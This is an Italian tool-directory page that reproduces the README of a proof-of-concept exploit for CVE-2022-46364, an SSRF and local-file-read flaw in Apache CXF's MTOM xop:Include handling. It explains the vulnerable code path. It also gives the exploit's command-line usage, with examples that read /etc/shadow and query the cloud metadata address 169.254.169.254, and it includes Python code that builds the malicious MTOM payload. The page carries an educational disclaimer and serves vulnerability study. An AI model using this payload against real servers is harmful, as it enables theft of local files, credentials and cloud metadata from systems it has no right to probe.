Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-46364-Proof-of-the-concept — Questa vulnerabilità consente a un attaccante di eseguire attacchi SSRF (Server-Side Request Forgery) sui webservice Apache CXF che accettano richieste MTOM/XOP. Il problema risiede nel modo in cui viene analizzato l'attributo href di xop:Include, consentendo al server di richiedere URL arbitrari. | Kitploit
Strumenti/GitHubGitHub/cybermaksx/cve-2022-46364-proof-of-the-concept
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e Formazione
GitHubcybermaksx/cve-2022-46364-proof-of-the-concept

CVE-2022-46364-Proof-of-the-concept

Vedi Repository
226 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Questa vulnerabilità consente a un attaccante di eseguire attacchi SSRF (Server-Side Request Forgery) sui webservice Apache CXF che accettano richieste MTOM/XOP. Il problema risiede nel modo in cui viene analizzato l'attributo href di xop:Include, consentendo al server di richiedere URL arbitrari.

Condividi

CVE-2022-46364: Exploit da SSRF a LFI di Apache CXF MTOM XOP:Include

⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ

QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA EDUCATIVI E AUTORIZZATI

Questo exploit proof-of-concept è fornito a scopo educativo per aiutare i professionisti della sicurezza a comprendere la vulnerabilità e proteggere i propri sistemi. L'accesso non autorizzato ai sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento. È necessario ottenere l'esplicita autorizzazione scritta del proprietario del sistema prima di effettuare test. Utilizzando questo strumento, accetti di conformarti a tutte le leggi applicabili.


📋 INDICE

  1. Panoramica
  2. Dettagli della Vulnerabilità
  3. Analisi Tecnica Approfondita
  4. Utilizzo dell'Exploit
  5. Installazione e Requisiti 6 Mitigazione
  6. Riferimenti e Crediti

📌 PANORAMICA

AttributoValore
ID CVECVE-2022-46364
ID GHSAGHSA-x3x3-qwjq-8gj4
Tipo di vulnerabilitàServer-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Software interessatoApache CXF < 3.5.5, Apache CXF < 3.4.10
GravitàCritico
Punteggio CVSS9.8 (Critico)
Vettore di attaccoRete
AutenticazioneNon richiesta
Versioni corretteApache CXF 3.5.5+, 3.4.10+

Questo exploit sfrutta una vulnerabilità SSRF critica nell'implementazione MTOM (Message Transmission Optimization Mechanism) di Apache CXF per ottenere Local File Inclusion (LFI) e capacità di scansione della rete interna.


🔬 DETTAGLI DELLA VULNERABILITÀ

Il Problema Principale

Apache CXF valida in modo errato l'attributo href all'interno degli elementi xop:Include quando elabora messaggi SOAP codificati in MTOM. La libreria utilizza URLConnection di Java per dereferenziare l'URI senza adeguate restrizioni sui protocolli, consentendo agli attaccanti di specificare:

  • file:// - Leggere file locali (LFI)
  • http:// / https:// - Richieste alla rete interna (SSRF)
  • ftp:// - Richieste FTP (potenziale per ulteriori exploit)

Perché è Importante

Questa vulnerabilità è particolarmente pericolosa perché:

  1. Nessuna autenticazione richiesta - Gli attaccanti possono prendere di mira qualsiasi endpoint SOAP accessibile
  2. Nessun privilegio speciale necessario - Il server esegue le richieste con i propri privilegi
  3. Divulgazione di informazioni - Può esporre metadati cloud (AWS, GCP, Azure), file di configurazione e codice sorgente
  4. Pivot di rete - Il server vulnerabile diventa un proxy per la ricognizione della rete interna

Configurazioni Interessate

Qualsiasi distribuzione Apache CXF che:

  • Accetta messaggi SOAP codificati in MTOM
  • Ha almeno un metodo di servizio web con un parametro (di qualsiasi tipo)
  • Utilizza versioni precedenti alla 3.5.5 (ramo principale) o alla 3.4.10 (ramo legacy)

🧠 ANALISI TECNICA APPROFONDITA

Contesto del Protocollo: MTOM e XOP

MTOM (Message Transmission Optimization Mechanism) è uno standard W3C per ottimizzare la trasmissione di dati binari nei messaggi SOAP. Utilizza XOP (XML-binary Optimized Packaging) per includere riferimenti a dati binari:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

Normalmente, href contiene un riferimento CID (Content-ID) a una parte MIME. Tuttavia, la classe AttachmentUtil di Apache CXF elabora i valori href come URI generici senza una corretta sanificazione.

Il Percorso del Codice Vulnerabile

  1. Parsing della Richiesta:

    • CXF riceve una richiesta HTTP multipart/related con Content-Type: application/xop+xml
    • AttachmentUtil.getAttachmentObject() elabora gli elementi xop:Include
  2. Dereferenziazione URI:

    • Il metodo vulnerabile chiama direttamente new URL(href).openStream()
    • Nessun blocco del protocollo file://
    • Nessuna restrizione di rete (ad esempio, nessuna validazione contro gli intervalli IP interni)
  3. Incorporazione nella Risposta:

    • Il contenuto recuperato viene codificato in Base64 e incorporato nella risposta SOAP
    • L'attaccante riceve i dati nell'envelope SOAP

Frammento di Codice (Pattern Vulnerabile)

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

Perché LFI Funziona

Il protocollo file:// segue lo stesso percorso del codice:

  • file:///etc/passwd → Java apre /etc/passwd come flusso di file
  • Il contenuto del file viene restituito come allegato
  • Nessuna restrizione del filesystem oltre ai permessi dell'utente del processo CXF

Capacità di Scansione di Rete

Iterando tra IP e porte, gli attaccanti possono:

  • Scoprire servizi interni
  • Accedere agli endpoint dei metadati cloud (169.254.169.254)
  • Bypassare i controlli di segmentazione di rete

🛠️ UTILIZZO DELL'EXPLOIT

Sintassi del Comando

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Spiegazione degli Argomenti

ArgomentoDescrizioneEsempio
-t, --targetObbligatorio. URL di base del servizio Apache CXF targethttp://10.10.10.50:8080
-e, --endpointOpzionale. Percorso dell'endpoint SOAP/services/UserManagement
-u, --urlURL HTTP/HTTPS da recuperare tramite SSRFhttp://169.254.169.254/latest/user-data
-f, --filePercorso del file locale da leggere tramite LFI/etc/shadow, C:\ProgramData\secret.txt

📦 INSTALLAZIONE E REQUISITI

Prerequisiti

# Python 3.6 or higher required
python --version

Passaggi di Installazione

# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### requirements

requests>=2.28.0 urllib3>=1.26.0


---

### Dettagli di Implementazione Principali

#### 1. Costruzione del Payload MTOM

```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ MITIGAZIONE

Correzione Ufficiale

Scarica lo strumento